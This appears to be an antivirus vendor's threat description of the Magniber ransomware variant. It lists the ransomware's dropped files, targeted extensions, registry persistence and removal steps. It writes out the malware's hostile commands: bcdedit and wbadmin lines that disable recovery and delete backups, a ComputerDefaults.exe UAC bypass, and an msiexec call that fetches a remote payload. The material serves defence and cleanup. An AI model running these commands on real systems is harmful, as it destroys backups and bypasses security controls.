Ransom.Win64.MAGNIBER.MP


 ALIASES:

Ransom:Win64/Magniber.AD!MTB (MICROSOFT)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Ransomware

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet, Dropped by other malware

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It encrypts files with specific file extensions. It drops files as ransom note.

  TECHNICAL DETAILS

File Size:

21,199,550 bytes

File Type:

Other

Memory Resident:

No

Initial Samples Received Date:

17 Mar 2023

Payload:

Modifies system registry, Encrypts files, Displays message/message boxes

Arrival Details

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Ransomware drops the following files:

  • %Public%\{Random Characters}.dtud → Encoded script that disables recovery boot and deletes system backups
  • %Public%\{Random Characters}.3g2

(Note: %Public% is the folder that serves as a repository of files or folders common to all users, which is usually C:\Users\Public in Windows Vista, 7, and 8.)

It adds the following processes:

  • conhost wscript /B /E:VBScript.Encode\"../../Users/Public/{Random Characters}.xcps
  • bcdedit /set {default} recoveryenabled no
  • wbadmin delete catalog -quiet
  • wbadmin delete systemstatebackup -quiet
  • bcdedit /set {default} bootstatuspolicy ignoreallfailures
  • %System%\cmd /c ComputerDefaults.exe → to bypass UAC

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

It adds the following mutexes to ensure that only one of its copies runs at any one time:

  • Global\_MSIExecute

Other System Modifications

This Ransomware adds the following registry entries:

HKEY_CURRENT_USER\SOFTWARE\Classes\
AppXk0g4vb8gvt7b93tg50ybCy892pge6jmt\Shell\Open\
command
(Default) = msiexe /i http://{BLOCKED}.{BLOCKED}.{BLOCKED}.209 /q

HKEY_CURRENT_USER\SOFTWARE\Classes\
AppXk0g4vb8gvt7b93tg50ybCy892pge6jmt\Shell\Open\
command
(Default) = wscript.exe/b /e:VBScript.Encode ../../Users/Public//{Random Characters}.xcps

HKEY_CURRENT_USER\SOFTWARE\Windows\
CurrentVersion\Run
[Random Characters] = %Public%\[random char].3g2

HKEY_CURRENT_USER\SOFTWARE\Classes\
AppX04g0mbrz4mkc6e879rpf6qk6te730jfv\Shell\Open\
command
DelegateExecute = 0

Other Details

This Ransomware does the following:

  • It checks the Windows OS Build Number to the following:
    • Windows 10 home:
      • 18362
      • 18363
      • 19041
      • 19042
      • 19043
      • 19044
    • Windows Server Essentials:
      • 20348
    • Windows 11 Home/Pro:
      • 22000
    • Windows 11 Education/Enterprise/SE:
      • 22621
    • Windows 11:
      • 22622
      • 25115
      • 25145
      • 25163
      • 25179
      • 25201
    If not one from the list then it wont proceed with its encryption routine

Ransomware Routine

This Ransomware encrypts files with the following extensions:

  • .1cd
  • .7zip
  • .abm
  • .abs
  • .abw
  • .accdb
  • .act
  • .adn
  • .adp
  • .aes
  • .aft
  • .afx
  • .agif
  • .agp
  • .ahd
  • .ai
  • .aic
  • .aim
  • .albm
  • .alf
  • .ans
  • .apd
  • .apm
  • .apng
  • .aps
  • .apt
  • .apx
  • .arc
  • .art
  • .arw
  • .asc
  • .ase
  • .asf
  • .ask
  • .asm
  • .asp
  • .asw
  • .asy
  • .aty
  • .avi
  • .awdb
  • .awp
  • .awt
  • .aww
  • .azz
  • .bad
  • .bak
  • .bay
  • .bbs
  • .bdb
  • .bdp
  • .bdr
  • .bean
  • .bib
  • .bmp
  • .bmx
  • .bna
  • .bnd
  • .boc
  • .bok
  • .brd
  • .brk
  • .brn
  • .brt
  • .bss
  • .btd
  • .bti
  • .btr
  • .c
  • .ca
  • .cals
  • .can
  • .cd
  • .cdb
  • .cdc
  • .cdg
  • .cdmm
  • .cdmt
  • .cdmz
  • .cdr
  • .cdt
  • .cf
  • .cfu
  • .cgm
  • .cimg
  • .cin
  • .cit
  • .ckp
  • .class
  • .clkw
  • .cma
  • .cmx
  • .cnm
  • .cnv
  • .colz
  • .cpc
  • .cpd
  • .cpg
  • .cpp
  • .cps
  • .cpx
  • .crd
  • .crt
  • .crw
  • .cs
  • .csr
  • .csv
  • .csy
  • .ct
  • .cvg
  • .cvi
  • .cvs
  • .cvx
  • .cwt
  • .cxf
  • .cyi
  • .dad
  • .daf
  • .db
  • .dbc
  • .dbf
  • .dbk
  • .dbs
  • .dbt
  • .dbv
  • .dbx
  • .dca
  • .dcb
  • .dch
  • .dcr
  • .dcs
  • .dct
  • .dcx
  • .dd
  • .dds
  • .ded
  • .der
  • .dgn
  • .dgs
  • .dgt
  • .dhs
  • .dib
  • .dif
  • .dip
  • .diz
  • .djv
  • .djvu
  • .dmi
  • .dmo
  • .dnc
  • .dne
  • .doc
  • .docb
  • .docm
  • .docx
  • .docz
  • .dot
  • .dotm
  • .dotx
  • .dpp
  • .dpx
  • .dqy
  • .drw
  • .drz
  • .dsk
  • .dsn
  • .dsv
  • .dt
  • .dta
  • .dtsx
  • .dtw
  • .dv
  • .dvi
  • .dwg
  • .dx
  • .dx
  • .dxb
  • .dxf
  • .eco
  • .ecw
  • .ecx
  • .edb
  • .efd
  • .egc
  • .eio
  • .eip
  • .eit
  • .em
  • .emd
  • .emf
  • .emlx
  • .ep
  • .epf
  • .epp
  • .eps
  • .epsf
  • .eq
  • .erf
  • .err
  • .etf
  • .etx
  • .euc
  • .exr
  • .fa
  • .faq
  • .fax
  • .fb
  • .fbx
  • .fcd
  • .fcf
  • .fdf
  • .fdr
  • .fds
  • .fdt
  • .fdx
  • .fdxt
  • .fes
  • .fft
  • .fi
  • .fic
  • .fid
  • .fif
  • .fig
  • .fla
  • .flr
  • .flv
  • .fmv
  • .fo
  • .fodt
  • .fpos
  • .fpt
  • .fpx
  • .frm
  • .frt
  • .frx
  • .ftn
  • .fwdn
  • .fxc
  • .fxg
  • .fzb
  • .fzv
  • .gcdp
  • .gdb
  • .gdoc
  • .gem
  • .geo
  • .gfb
  • .gfie
  • .ggr
  • .gif
  • .gih
  • .gim
  • .gio
  • .glox
  • .gpd
  • .gpg
  • .gpn
  • .gro
  • .grob
  • .grs
  • .gsd
  • .gthr
  • .gtp
  • .gv
  • .gwi
  • .gz
  • .h
  • .hbk
  • .hdb
  • .hdp
  • .hdr
  • .hht
  • .his
  • .hp
  • .hpg
  • .hpi
  • .hs
  • .htc
  • .hwp
  • .hz
  • .ib
  • .ibd
  • .icn
  • .icon
  • .icpr
  • .idc
  • .idea
  • .idx
  • .igt
  • .igx
  • .ihx
  • .ii
  • .iiq
  • .imd
  • .info
  • .ink
  • .ipf
  • .ipx
  • .iso
  • .itdb
  • .itw
  • .iwi
  • .j
  • .jar
  • .jas
  • .java
  • .jbig
  • .jbmp
  • .jbr
  • .jfif
  • .jia
  • .jis
  • .jng
  • .joe
  • .jpe
  • .jpeg
  • .jpg
  • .jps
  • .jpx
  • .jrtf
  • .js
  • .jsp
  • .jtf
  • .jtx
  • .jw
  • .jxr
  • .kdb
  • .kdbx
  • .kdc
  • .kdi
  • .kdk
  • .kes
  • .key
  • .kic
  • .klg
  • .knt
  • .kon
  • .kpg
  • .kwd
  • .lay
  • .lbm
  • .lbt
  • .ldf
  • .lgc
  • .lis
  • .lit
  • .ljp
  • .lmk
  • .lnt
  • .lrc
  • .lst
  • .ltr
  • .ltx
  • .lue
  • .luf
  • .lwo
  • .lwp
  • .lws
  • .lyt
  • .lyx
  • .ma
  • .mac
  • .man
  • .map
  • .maq
  • .mat
  • .max
  • .mb
  • .mbm
  • .mbox
  • .mdb
  • .mdf
  • .mdn
  • .mdt
  • .me
  • .mef
  • .mel
  • .mft
  • .mgcb
  • .mgmf
  • .mgmt
  • .mgmx
  • .mgtx
  • .mid
  • .min
  • .mkv
  • .mm
  • .mmat
  • .mnr
  • .mnt
  • .mos
  • .mov
  • .mpeg
  • .mpf
  • .mpg
  • .mpo
  • .mrg
  • .mrxs
  • .msg
  • .mud
  • .mwb
  • .mwp
  • .mx
  • .my
  • .myd
  • .myi
  • .ncr
  • .nct
  • .ndf
  • .nef
  • .nfo
  • .njx
  • .nlm
  • .now
  • .nrw
  • .nsf
  • .nyf
  • .nzb
  • .obj
  • .oce
  • .oci
  • .ocr
  • .odb
  • .odg
  • .odm
  • .odo
  • .odp
  • .ods
  • .odt
  • .of
  • .oft
  • .omf
  • .oplc
  • .oqy
  • .ora
  • .orf
  • .ort
  • .orx
  • .ost
  • .ota
  • .otg
  • .oti
  • .otp
  • .ots
  • .ott
  • .ovp
  • .ovr
  • .owc
  • .owg
  • .oyx
  • .ozb
  • .ozj
  • .ozt
  • .p
  • .pa
  • .pan
  • .pano
  • .pap
  • .paq
  • .pas
  • .pbm
  • .pcd
  • .pcs
  • .pdb
  • .pdd
  • .pdf
  • .pdm
  • .pds
  • .pdt
  • .pef
  • .pem
  • .pff
  • .pfi
  • .pfs
  • .pfv
  • .pfx
  • .pgf
  • .pgm
  • .phm
  • .php
  • .pic
  • .pict
  • .pix
  • .pjpg
  • .pjt
  • .plt
  • .pm
  • .pmg
  • .png
  • .pni
  • .pnm
  • .pntg
  • .pnz
  • .pobj
  • .pop
  • .pot
  • .potm
  • .potx
  • .ppam
  • .ppm
  • .pps
  • .ppsm
  • .ppsx
  • .ppt
  • .pptm
  • .pptx
  • .prt
  • .prw
  • .psd
  • .psdx
  • .pse
  • .psid
  • .psp
  • .pst
  • .psw
  • .ptg
  • .pth
  • .ptx
  • .pu
  • .pvj
  • .pvm
  • .pvr
  • .pwa
  • .pwi
  • .pwr
  • .px
  • .pxr
  • .pza
  • .pzp
  • .pzs
  • .qd
  • .qmg
  • .qpx
  • .qry
  • .qvd
  • .rad
  • .rar
  • .ras
  • .raw
  • .rb
  • .rctd
  • .rcu
  • .rd
  • .rdb
  • .rft
  • .rgb
  • .rgf
  • .rib
  • .ric
  • .riff
  • .ris
  • .rix
  • .rle
  • .rli
  • .rng
  • .rpd
  • .rpf
  • .rpt
  • .rri
  • .rs
  • .rsb
  • .rsd
  • .rsr
  • .rst
  • .rt
  • .rtd
  • .rtf
  • .rtx
  • .run
  • .rw
  • .rzk
  • .rzn
  • .saf
  • .sam
  • .sbf
  • .scad
  • .scc
  • .sch
  • .sci
  • .scm
  • .sct
  • .scv
  • .scw
  • .sdb
  • .sdf
  • .sdm
  • .sdoc
  • .sdw
  • .sep
  • .sfc
  • .sfw
  • .sgm
  • .sh
  • .sig
  • .skm
  • .sla
  • .sld
  • .sldm
  • .sldx
  • .slk
  • .sln
  • .sls
  • .smf
  • .sms
  • .snt
  • .sob
  • .spa
  • .spe
  • .sph
  • .spj
  • .spp
  • .spq
  • .spr
  • .sq
  • .sqb
  • .srw
  • .ssa
  • .ssk
  • .st
  • .stc
  • .std
  • .sti
  • .stm
  • .stn
  • .stp
  • .str
  • .stw
  • .sty
  • .sub
  • .suo
  • .svf
  • .svg
  • .svgz
  • .swf
  • .sxc
  • .sxd
  • .sxg
  • .sxi
  • .sxm
  • .sxw
  • .tab
  • .tar
  • .tbk
  • .tcx
  • .tdf
  • .tdt
  • .te
  • .tex
  • .text
  • .tgz
  • .thp
  • .tif
  • .tiff
  • .tlb
  • .tlc
  • .tm
  • .tmd
  • .tmv
  • .tmx
  • .tne
  • .tpc
  • .trm
  • .tvj
  • .udb
  • .ufr
  • .unx
  • .uof
  • .uop
  • .uot
  • .upd
  • .usr
  • .utxt
  • .vb
  • .vbr
  • .vbs
  • .vcd
  • .vct
  • .vdb
  • .vdi
  • .vec
  • .vm
  • .vmdk
  • .vmx
  • .vnt
  • .vob
  • .vpd
  • .vrm
  • .vrp
  • .vsd
  • .vsdm
  • .vsdx
  • .vsm
  • .vstm
  • .vstx
  • .vue
  • .vw
  • .wav
  • .wbk
  • .wcf
  • .wdb
  • .wgz
  • .wire
  • .wks
  • .wma
  • .wmdb
  • .wmv
  • .wn
  • .wp
  • .wp
  • .wpa
  • .wpd
  • .wpg
  • .wps
  • .wpt
  • .wpw
  • .wri
  • .wsc
  • .wsd
  • .wsh
  • .wtx
  • .x
  • .xar
  • .xd
  • .xdb
  • .xlc
  • .xld
  • .xlf
  • .xlgc
  • .xlm
  • .xls
  • .xlsb
  • .xlsm
  • .xlsx
  • .xlt
  • .xltm
  • .xltx
  • .xlw
  • .xps
  • .xwp
  • .xyp
  • .xyw
  • .ya
  • .ybk
  • .ym
  • .zabw
  • .zdb
  • .zdc
  • .zip
  • .zw

It avoids encrypting files found in the following folders:

  • documents and settings
  • appdata
  • local settings
  • sample music
  • sample pictures
  • sample videos
  • tor browser
  • recycle
  • windows
  • boot
  • intel
  • msocache
  • perflogs
  • program files
  • programdata
  • recovery
  • system volume information
  • winnt

It appends the following extension to the file name of the encrypted files:

  • {Original file name}_{Original file extension}.hldnopi

It drops the following file(s) as ransom note:

  • {Encrypted Directory}\README.html

  SOLUTION

Minimum Scan Engine:

9.800

FIRST VSAPI PATTERN FILE:

18.398.02

FIRST VSAPI PATTERN DATE:

21 Apr 2023

VSAPI OPR PATTERN File:

18.399.00

VSAPI OPR PATTERN Date:

22 Apr 2023

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  
  • %public%\{Random Characters}.xcps
  • %Public%\{Random Characters}.3g2

Step 4

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\SOFTWARE\Classes\AppXk0g4vb8gvt7b93tg50ybCy892pge6jmt\Shell\Open\command
    • (Default) = msiexe /i http://{BLOCKED}.{BLOCKED}.87.209/ /q
  • In HKEY_CURRENT_USER\SOFTWARE\Classes\AppXk0g4vb8gvt7b93tg50ybCy892pge6jmt\Shell\Open\command
    • (Default) = wscript.exe/b /e:VBScript.Encode ../../Users/Public//{Random Characters}.xcps
  • In HKEY_CURRENT_USER\SOFTWARE\Windows\CurrentVersion\Run
    • [Random Characters] = %Public%\[random char].3g2
  • In HKEY_CURRENT_USER\SOFTWARE\Classes\AppX04g0mbrz4mkc6e879rpf6qk6te730jfv\Shell\Open\command
    • DelegateExecute = 0

Step 5

Scan your computer with your Trend Micro product to delete files detected as Ransom.Win64.MAGNIBER.MP. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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